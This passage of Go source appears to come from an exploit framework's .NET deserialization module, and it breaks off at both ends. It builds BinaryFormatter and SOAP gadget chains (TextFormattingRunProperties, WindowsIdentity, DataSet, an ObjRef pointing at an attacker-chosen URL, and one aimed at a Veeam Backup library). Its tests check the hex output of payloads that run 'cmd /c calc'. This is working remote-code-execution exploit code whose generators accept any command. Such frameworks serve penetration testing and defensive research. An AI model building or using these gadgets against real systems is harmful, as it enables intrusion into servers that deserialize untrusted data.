PrimitiveTypeEnum["Byte"]) innerAdditionalInfo = append(innerAdditionalInfo, PrimitiveTypeEnum["Byte"]) innerMemberValues = append(innerMemberValues, PrimitiveInt32(-1356456226)) innerMemberValues = append(innerMemberValues, PrimitiveInt16(-16401)) innerMemberValues = append(innerMemberValues, PrimitiveInt16(20306)) // 97 0f 7f fe 1c 1c 79 27 innerMemberValues = append(innerMemberValues, PrimitiveByte(0x97)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x0f)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x7f)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0xfe)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x1c)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x79)) innerMemberValues = append(innerMemberValues, PrimitiveByte(0x27)) innerMemberTypeInfo, ok := getMemberTypeInfo(innerMemberTypes, innerMemberNames, innerAdditionalInfo) if !ok { return "", false } innerSystemClassWithMembersAndTypes := SystemClassWithMembersAndTypesRecord{ ClassInfo: ClassInfo{ ObjectID: -3, Name: "System.Guid", MemberCount: len(innerMemberNames), MemberNames: innerMemberNames, }, MemberValues: innerMemberValues, MemberTypeInfo: innerMemberTypeInfo, } var memberValues []any memberValues = append(memberValues, innerSystemClassWithMembersAndTypes) // ID GUID memberValues = append(memberValues, ObjectNullRecord{}) // KeySetID null memberValues = append(memberValues, 1) // KeyType int32 memberValues = append(memberValues, BinaryObjectString{ObjectID: 4, Value: "aaaaa"}) // Hint STRING memberValues = append(memberValues, BinaryObjectString{ObjectID: 5, Value: "AAAA"}) // DecryptedKeyValue STRING memberValues = append(memberValues, 0x409) // locallcid int // 1033 memberValues = append(memberValues, "\x00\x00\x00\x00\x00\x00\x00\x00") // ModificationDateUtc datetime, just needs to be 8 bytes memberValues = append(memberValues, 1) // CryptoAlg int 1 memberValues = append(memberValues, MemberReferenceRecord{IDRef: 6}) // CryptoAlg int 1 var arrayMembers []any arrayMembers = append(arrayMembers, BinaryObjectString{ObjectID: 7, Value: innerObjRefB64}) arraySingleStringRecord := ArraySingleStringRecord{ ArrayInfo: ArrayInfo{ ObjectID: 6, MemberCount: 1, }, Members: arrayMembers, } memberTypeInfo, ok := getMemberTypeInfo(memberTypes, memberNames, additionalInfo) if !ok { return "", false } classWithMembersAndTypes := ClassWithMembersAndTypesRecord{ ClassInfo: classInfo, MemberValues: memberValues, MemberTypeInfo: memberTypeInfo, LibraryID: 2, } // finalize serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() binaryLibraryRecord := BinaryLibraryRecord{Library: "Veeam.Backup.Model, Version=12.1.0.0, Culture=neutral, PublicKeyToken=bfd684de2276783a", ID: 2} binaryLibraryRecordString, _ := binaryLibraryRecord.ToRecordBin() classWithMembersAndTypesString, ok := classWithMembersAndTypes.ToRecordBin() if !ok { return "", false } arraySingleStringRecordString, ok := arraySingleStringRecord.ToRecordBin() if !ok { return "", false } payload := serializationHeaderRecordString + binaryLibraryRecordString + classWithMembersAndTypesString + arraySingleStringRecordString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case BinaryFormatter: return payload, true case "": return payload, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter) return "", false } } func CreateObjectRef(url string, formatter string) (string, bool) { var firstMemberValues []any var firstAdditionalInfo []any firstClassName := "System.Exception" firstAdditionalInfo = append(firstAdditionalInfo, "System.Runtime.Remoting.ObjRef") firstMemberValues = append(firstMemberValues, MemberReferenceRecord{IDRef: 2}) firstMemberNames := []string{"ClassName"} firstMemberTypes := []string{"SystemClass"} firstClassInfo := ClassInfo{ ObjectID: 1, Name: firstClassName, MemberCount: len(firstMemberNames), MemberNames: firstMemberNames, } firstMemberTypeInfo, ok := getMemberTypeInfo(firstMemberTypes, firstMemberNames, firstAdditionalInfo) if !ok { return "", false } firstSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{ ClassInfo: firstClassInfo, MemberValues: firstMemberValues, MemberTypeInfo: firstMemberTypeInfo, } // SECOND CLASS, a value for the first one var secondMemberValues []any secondClassName := "System.Runtime.Remoting.ObjRef" secondMemberValues = append(secondMemberValues, BinaryObjectString{ObjectID: 3, Value: url}) secondMemberNames := []string{"url"} secondMemberTypes := []string{"String"} secondClassInfo := ClassInfo{ ObjectID: 2, Name: secondClassName, MemberCount: len(secondMemberNames), MemberNames: secondMemberNames, } secondMemberTypeInfo, ok := getMemberTypeInfo(secondMemberTypes, secondMemberNames, nil) if !ok { return "", false } secondSystemClassWithMembersAndTypesRecord := SystemClassWithMembersAndTypesRecord{ ClassInfo: secondClassInfo, MemberValues: secondMemberValues, MemberTypeInfo: secondMemberTypeInfo, } // finalize serializationHeaderRecord := SerializationHeaderRecord{RootID: 1, HeaderID: -1} serializationHeaderRecordString, _ := serializationHeaderRecord.ToRecordBin() firstSystemClassWithMembersAndTypesString, ok := firstSystemClassWithMembersAndTypesRecord.ToRecordBin() if !ok { return "", false } secondSystemClassWithMembersAndTypesString, ok := secondSystemClassWithMembersAndTypesRecord.ToRecordBin() if !ok { return "", false } payload := serializationHeaderRecordString + firstSystemClassWithMembersAndTypesString + secondSystemClassWithMembersAndTypesString + string(byte(RecordTypeEnumMap["MessageEnd"])) switch formatter { case BinaryFormatter: return payload, true case "": return payload, true default: output.PrintfFrameworkError("Invalid formatter specified for this gadget type. Requested: %s, supported: 'BinaryFormatter'", formatter) return "", false } } ================================================ FILE: dotnet/dotnetgadget_test.go ================================================ package dotnet import ( "encoding/hex" "fmt" "testing" ) func TestTextFormattingRunPropertiesBinaryFormatter(t *testing.T) { want, err := ReadGadget("TextFormattingRunProperties", "BinaryFormatter") if err != nil { t.Fatal(err) } // Dynamically test the placeholder command got := TextFormattingRunPropertiesBinaryFormatter("mspaint.exe") if got != string(want) { t.Fatalf("%q", got) } t.Logf("%q", got) } func TestGetBinaryLibraryRecord(t *testing.T) { got := BinaryLibraryRecord{ID: 2, Library: "Microsoft.PowerShell.Editor, Version=3.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"} got2, ok := got.ToRecordBin() if !ok || fmt.Sprintf("%02x", got2) != "0c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d33316266333835366164333634653335" { t.Fatalf("Bin lib record record invalid: %v hexform: %02x", got, got) } t.Logf("%02x", got) } func TestGetClassInfo(t *testing.T) { className := "Microsoft.VisualStudio.Text.Formatting.TextFormattingRunProperties" members := []string{"ForegroundBrush"} got := ClassInfo{ObjectID: 1, Name: className, MemberCount: len(members), MemberNames: members} if fmt.Sprintf("%02x", got.ToBin()) != "01000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e644272757368" { t.Fatalf("Classinfo invalid: %v hexform: %02x", got, got) } } func TestGetMemberTypeInfo(t *testing.T) { got, ok := getMemberTypeInfo([]string{"String"}, []string{"ForegroundBrush"}, nil) if !ok { got2, ok := got.ToBin() if !ok || fmt.Sprintf("%02x", got2) != "01" { t.Fatalf("Member info invalid: %v hexform: %02x", got, got) } } } func TestGetSerializationHeaderRecord(t *testing.T) { got := SerializationHeaderRecord{RootID: 1, HeaderID: -1} got2, ok := got.ToRecordBin() if !ok || fmt.Sprintf("%02x", got2) != "0001000000ffffffff0100000000000000" { t.Fatalf("Serialization header record invalid: %v hexform: %02x", got, got) } } func TestGetBinaryObjectString(t *testing.T) { program := "cmd" args := "/c calc" xmlData := fmt.Sprintf(` %s %s `, program, args) got := BinaryObjectString{ObjectID: 3, Value: xmlData} got2, ok := got.ToRecordBin() if !ok || fmt.Sprintf("%02x", got2) != "060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e" { t.Fatalf("Bin object invalid: %v hexform: %02x", got, got) } } func TestCreateTextFormattingRunProperties(t *testing.T) { got, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "BinaryFormatter") if !ok || fmt.Sprintf("%02x", got) != "0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e64427275736801020000000603000000f2033c5265736f7572636544696374696f6e61727920786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e2220786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2220786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c69622220786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d223e3c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e3c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c533a537472696e673e636d643c2f533a537472696e673e3c533a537472696e673e2f632063616c633c2f533a537472696e673e3c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e3c2f4f626a6563744461746150726f76696465723e3c2f5265736f7572636544696374696f6e6172793e0b" { t.Fatalf("CreateTextFormattingRunProperties output invalid: %q hexform: %02x", got, got) } } func TestFormatLOS(t *testing.T) { decodedString, _ := hex.DecodeString("0001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b") got := FormatLOS(string(decodedString)) if fmt.Sprintf("%02x", got) != "ff0132f4050001000000ffffffff01000000000000000c020000005e4d6963726f736f66742e506f7765725368656c6c2e456469746f722c2056657273696f6e3d332e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d333162663338353661643336346533350501000000424d6963726f736f66742e56697375616c53747564696f2e546578742e466f726d617474696e672e54657874466f726d617474696e6752756e50726f70657274696573010000000f466f726567726f756e6442727573680102000000060300000096043c5265736f7572636544696374696f6e6172790a0909786d6c6e733d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c2f70726573656e746174696f6e220a0909786d6c6e733a583d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f77696e66782f323030362f78616d6c220a0909786d6c6e733a533d22636c722d6e616d6573706163653a53797374656d3b617373656d626c793d6d73636f726c6962220a0909786d6c6e733a443d22636c722d6e616d6573706163653a53797374656d2e446961676e6f73746963733b617373656d626c793d73797374656d220a093e0a09093c4f626a6563744461746150726f766964657220583a4b65793d2222204f626a656374547970653d227b583a5479706520443a50726f636573737d22204d6574686f644e616d653d225374617274223e0a0909093c4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a090909093c533a537472696e673e636d643c2f533a537472696e673e0a090909093c533a537472696e673e2f632063616c633c2f533a537472696e673e0a0909093c2f4f626a6563744461746150726f76696465722e4d6574686f64506172616d65746572733e0a09093c2f4f626a6563744461746150726f76696465723e0a093c2f5265736f7572636544696374696f6e6172793e0b" { t.Fatalf("FormatLOS output invalid: %q hexform: %02x", got, got) } } // This test uses a gadget with a SystemClassWithMembersAndTypesRecord which is treatede slightly differently by the SOAPFormatter. func TestFormatSOAPWindowsIdentity(t *testing.T) { got, ok := CreateWindowsIdentity("cmd", "/c calc", "SOAPFormatter") if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793e3c61313a57696e646f77734964656e746974792069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e53656375726974792e5072696e636970616c2f6d73636f726c69622c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f722069643d227265662d3222207873693a747970653d227873643a737472696e67223e414145414141442f2f2f2f2f41514141414141414141414d4167414141456c5465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d446735425145414141434541564e356333526c62533544623278735a574e3061573975637935485a57356c636d6c6a4c6c4e76636e526c5a464e6c644741785731745465584e305a573075553352796157356e4c43427463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446c64585151414141414651323931626e514951323974634746795a584948566d567963326c766267564a6447567463774144414159496a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d4467355856304941674141414149414141414a41774141414149414141414a4241414141415144414141416a51465465584e305a573075513239736247566a64476c76626e4d75523256755a584a70597935446232317759584a706332397551323974634746795a584a674d56746255336c7a644756744c6c4e30636d6c755a79776762584e6a62334a736157497349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563042414141414331396a6232317759584a706332397541794a5465584e305a573075524756735a576468644756545a584a7059577870656d463061573975534739735a475679435155414141415242414141414149414141414742674141414163765979426a5957786a42676341414141445932316b424155414141416955336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c63674d4141414149524756735a57646864475548625756306147396b4d4164745a58526f6232517841774d444d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e52796553395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c6369395465584e305a573075556d566d6247566a64476c766269354e5a5731695a584a4a626d5a7655325679615746736158706864476c76626b68766247526c63676b494141414143516b414141414a4367414141415149414141414d464e356333526c625335455a57786c5a3246305a564e6c636d6c6862476c3659585270623235496232786b5a584972524756735a57646864475646626e5279655163414141414564486c775a51686863334e6c62574a7365515a3059584a6e5a585153644746795a32563056486c775a55467a63325674596d7835446e5268636d646c644652356347564f5957316c436d316c644768765a4535686257554e5a4756735a57646864475646626e5279655145424167454241514d7755336c7a644756744c6b526c6247566e5958526c55325679615746736158706864476c76626b68766247526c636974455a57786c5a3246305a55567564484a354267734141414377416c4e356333526c625335476457356a59444e6257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f56307357314e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a4c43425465584e305a57307349465a6c636e4e70623234394e4334774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a31694e7a64684e574d314e6a45354d7a526c4d44673558563047444141414145747463324e76636d787059697767566d567963326c76626a30304c6a41754d4334774c4342446457783064584a6c5057356c645852795957777349464231596d78705930746c6556527661325675505749334e324531597a55324d546b7a4e4755774f446b4b426730414141424a55336c7a644756744c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f51594f41414141476c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a426738414141414655335268636e514a454141414141514a414141414c314e356333526c625335535a575a735a574e30615739754c6b316c62574a6c636b6c755a6d39545a584a7059577870656d463061573975534739735a475679427741414141524f5957316c4445467a63325674596d7835546d46745a516c446247467a633035686257554a55326c6e626d463064584a6c436c4e705a323568644856795a54494b54575674596d567956486c775a5242485a57356c636d6c6a51584a6e6457316c626e527a41514542415145414177674e55336c7a644756744c6c52356347566258516b5041414141435130414141414a446741414141595541414141506c4e356333526c625335456157466e626d397a64476c6a63793551636d396a5a584e7a49464e3059584a304b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d6370426855414141412b55336c7a644756744c6b52705957647562334e3061574e7a4c6c427962324e6c63334d6755335268636e516f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b49414141414367454b4141414143514141414159574141414142304e7662584268636d554a44414141414159594141414144564e356333526c6253355464484a70626d6347475141414143744a626e517a4d6942446232317759584a6c4b464e356333526c6253355464484a70626d637349464e356333526c6253355464484a70626d637042686f414141417955336c7a644756744c6b6c7564444d7949454e7662584268636d556f55336c7a644756744c6c4e30636d6c755a79776755336c7a644756744c6c4e30636d6c755a796b4941414141436745514141414143414141414159624141414163564e356333526c625335446232317759584a70633239755944466257314e356333526c6253355464484a70626d63734947317a5932397962476c694c4342575a584a7a61573975505451754d4334774c6a417349454e3162485231636d5539626d563164484a68624377675548566962476c6a53325635564739725a573439596a63335954566a4e5459784f544d305a5441344f563164435177414141414b435177414141414a4741414141416b57414141414367733d3c2f53797374656d2e53656375726974792e436c61696d734964656e746974792e6163746f723e3c2f61313a57696e646f77734964656e746974793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" { t.Fatalf("Invalid WindowsIdentity+SOAPFormatter output... val: %q hexform: %02x\n", got, got) } } func TestFormatSOAPDataSet(t *testing.T) { got, ok := CreateDataSet("cmd", "/c calc", "SOAPFormatterWithExceptions") if !ok || fmt.Sprintf("%02x", got) != "3c534f41502d454e563a456e76656c6f706520786d6c6e733a7873693d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612d696e7374616e63652220786d6c6e733a7873643d22687474703a2f2f7777772e77332e6f72672f323030312f584d4c536368656d612220786d6c6e733a534f41502d454e433d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f2220786d6c6e733a534f41502d454e563d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e76656c6f70652f2220786d6c6e733a636c723d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f736f61702f656e636f64696e672f636c722f312e302220534f41502d454e563a656e636f64696e675374796c653d22687474703a2f2f736368656d61732e786d6c736f61702e6f72672f736f61702f656e636f64696e672f223e3c534f41502d454e563a426f64793eefbbbf3c534f41502d454e563a4661756c742069643d22787265662d31223e0a202020203c6661756c74636f64652069643d22787265662d32223e534f41502d454e563a5365727665723c2f6661756c74636f64653e0a202020203c6661756c74737472696e672069643d22787265662d33223e202a2a2a2a2053797374656d2e457863657074696f6e202d20457863657074696f6e206f66207479706520262333393b53797374656d2e457863657074696f6e262333393b20776173207468726f776e2e3c2f6661756c74737472696e673e0a202020203c64657461696c207873693a747970653d2278313a5365727665724661756c742220786d6c6e733a78313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e52756e74696d652e53657269616c697a6174696f6e2e466f726d617474657273223e0a20202020202020203c657863657074696f6e54797065207873693a6e756c6c3d2231222f3e0a20202020202020203c6d657373616765207873693a6e756c6c3d2231222f3e0a20202020202020203c737461636b5472616365207873693a6e756c6c3d2231222f3e0a20202020202020203c657863657074696f6e20687265663d2223787265662d34222f3e0a202020203c2f64657461696c3e0a3c2f534f41502d454e563a4661756c743e0a3c78323a457863657074696f6e2069643d22787265662d342220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c436c6173734e616d652069643d22787265662d35223e53797374656d2e457863657074696f6e3c2f436c6173734e616d653e0a202020203c4d657373616765207873693a6e756c6c3d2231222f3e0a202020203c4461746120687265663d2223787265662d36222f3e0a202020203c496e6e6572457863657074696f6e207873693a6e756c6c3d2231222f3e0a202020203c48656c7055524c207873693a6e756c6c3d2231222f3e0a202020203c537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b5472616365537472696e67207873693a6e756c6c3d2231222f3e0a202020203c52656d6f7465537461636b496e6465783e303c2f52656d6f7465537461636b496e6465783e0a202020203c457863657074696f6e4d6574686f64207873693a6e756c6c3d2231222f3e0a202020203c48526573756c743e2d323134363233333038383c2f48526573756c743e0a202020203c536f75726365207873693a6e756c6c3d2231222f3e0a202020203c576174736f6e4275636b657473207873693a6e756c6c3d2231222f3e0a3c2f78323a457863657074696f6e3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c2069643d22787265662d362220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6865616420687265663d2223787265662d37222f3e0a202020203c76657273696f6e3e313c2f76657273696f6e3e0a202020203c636f756e743e313c2f636f756e743e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c3e0a3c78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64652069643d22787265662d372220786d6c6e733a78333d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d2e436f6c6c656374696f6e73223e0a202020203c6b65792069643d22787265662d3922207873693a747970653d22534f41502d454e433a737472696e67223e783c2f6b65793e0a202020203c76616c7565202f3e0a202020203c6e657874207873693a6e756c6c3d2231222f3e0a3c2f78333a4c69737444696374696f6e617279496e7465726e616c5f78303032425f44696374696f6e6172794e6f64653e0a3c78323a56657273696f6e2069643d22787265662d31312220786d6c6e733a78323d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e732f53797374656d223e0a202020203c5f4d616a6f723e323c2f5f4d616a6f723e0a202020203c5f4d696e6f723e303c2f5f4d696e6f723e0a202020203c5f4275696c643e2d313c2f5f4275696c643e0a202020203c5f5265766973696f6e3e2d313c2f5f5265766973696f6e3e0a3c2f78323a56657273696f6e3e0a3c61313a446174615365742069643d227265662d312220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e3c446174615365742e52656d6f74696e67466f726d6174207873693a747970653d2261313a53657269616c697a6174696f6e466f726d61742220786d6c6e733a61313d22687474703a2f2f736368656d61732e6d6963726f736f66742e636f6d2f636c722f6e73617373656d2f53797374656d2e446174612f53797374656d2e446174612c2056657273696f6e3d342e302e302e302c2043756c747572653d6e65757472616c2c205075626c69634b6579546f6b656e3d62373761356335363139333465303839223e42696e6172793c2f446174615365742e52656d6f74696e67466f726d61743e3c446174615365742e446174615365744e616d652069643d227265662d3422207873693a747970653d227873643a737472696e67223e3c2f446174615365742e446174615365744e616d653e3c446174615365742e4e616d65737061636520687265663d22237265662d34223e3c2f446174615365742e4e616d6573706163653e3c446174615365742e50726566697820687265663d22237265662d34223e3c2f446174615365742e5072656669783e3c446174615365742e4361736553656e7369746976653e66616c73653c2f446174615365742e4361736553656e7369746976653e3c446174615365742e4c6f63616c654c4349443e313033333c2f446174615365742e4c6f63616c654c4349443e3c446174615365742e456e666f726365436f6e73747261696e74733e66616c73653c2f446174615365742e456e666f726365436f6e73747261696e74733e3c446174615365742e457874656e64656450726f70657274696573207873693a747970653d227873693a616e795479706522207873693a6e756c6c3d2231223e3c2f446174615365742e457874656e64656450726f706572746965733e3c446174615365742e5461626c65732e436f756e743e313c2f446174615365742e5461626c65732e436f756e743e3c446174615365742e5461626c65735f3020687265663d22237265662d35223e3c2f446174615365742e5461626c65735f303e3c2f61313a446174615365743e3c534f41502d454e433a41727261792069643d227265662d3522207873693a747970653d22534f41502d454e433a626173653634223e414145414141442f2f2f2f2f41514141414141414141414d416741414146354e61574e7962334e765a6e5175554739335a584a5461475673624335465a476c306233497349465a6c636e4e70623234394d7934774c6a41754d43776751335673644856795a5431755a585630636d46734c43425164574a7361574e4c5a586c556232746c626a307a4d574a6d4d7a67314e6d466b4d7a59305a544d31425145414141424354576c6a636d397a62325a304c6c5a706333566862464e3064575270627935555a5868304c6b5a76636d316864485270626d63755647563464455a76636d316864485270626d645364573551636d39775a584a306157567a415141414141394762334a6c5a334a766457356b516e4a316332674241674141414159444141414138674d38556d567a623356795932564561574e306157397559584a35494868746247357a50534a6f644852774f69387663324e6f5a5731686379357461574e7962334e765a6e5175593239744c336470626d5a344c7a49774d4459766547467462433977636d567a5a5735305958527062323469494868746247357a4f6c6739496d6830644841364c79397a5932686c6257467a4c6d317059334a766332396d6443356a6232307664326c755a6e67764d6a41774e693934595731734969423462577875637a705450534a6a62484974626d46745a584e7759574e6c4f6c4e356333526c6254746863334e6c62574a736554317463324e76636d78705969496765473173626e4d3652443069593278794c5735686257567a6347466a5a54705465584e305a57307552476c685a3235766333527059334d3759584e7a5a57316962486b3963336c7a64475674496a343854324a715a574e30524746305956427962335a705a47567949466736533256355053496949453969616d566a6446523563475539496e74594f6c52356347556752447051636d396a5a584e7a66534967545756306147396b546d46745a54306955335268636e5169506a7850596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a3438557a705464484a70626d632b5932316b504339544f6c4e30636d6c755a7a3438557a705464484a70626d632b4c324d6759324673597a7776557a705464484a70626d632b50433950596d706c593352455958526855484a76646d6c6b5a584975545756306147396b554746795957316c64475679637a34384c303969616d566a6445526864474651636d39326157526c636a34384c314a6c63323931636d4e6c52476c6a64476c76626d46796554344c3c2f534f41502d454e433a41727261793e3c2f534f41502d454e563a426f64793e3c2f534f41502d454e563a456e76656c6f70653e" { t.Fatalf("Invalid DataSet+SOAPFormatterWithExceptions output... val: %q hexform: %02x\n", got, got) } } func TestFormatSOAP(t *testing.T) { got, ok := CreateTextFormattingRunProperties("cmd", "/c calc", "SOAPFormatter") if !ok || fmt.Sprintf("%02x", got) != 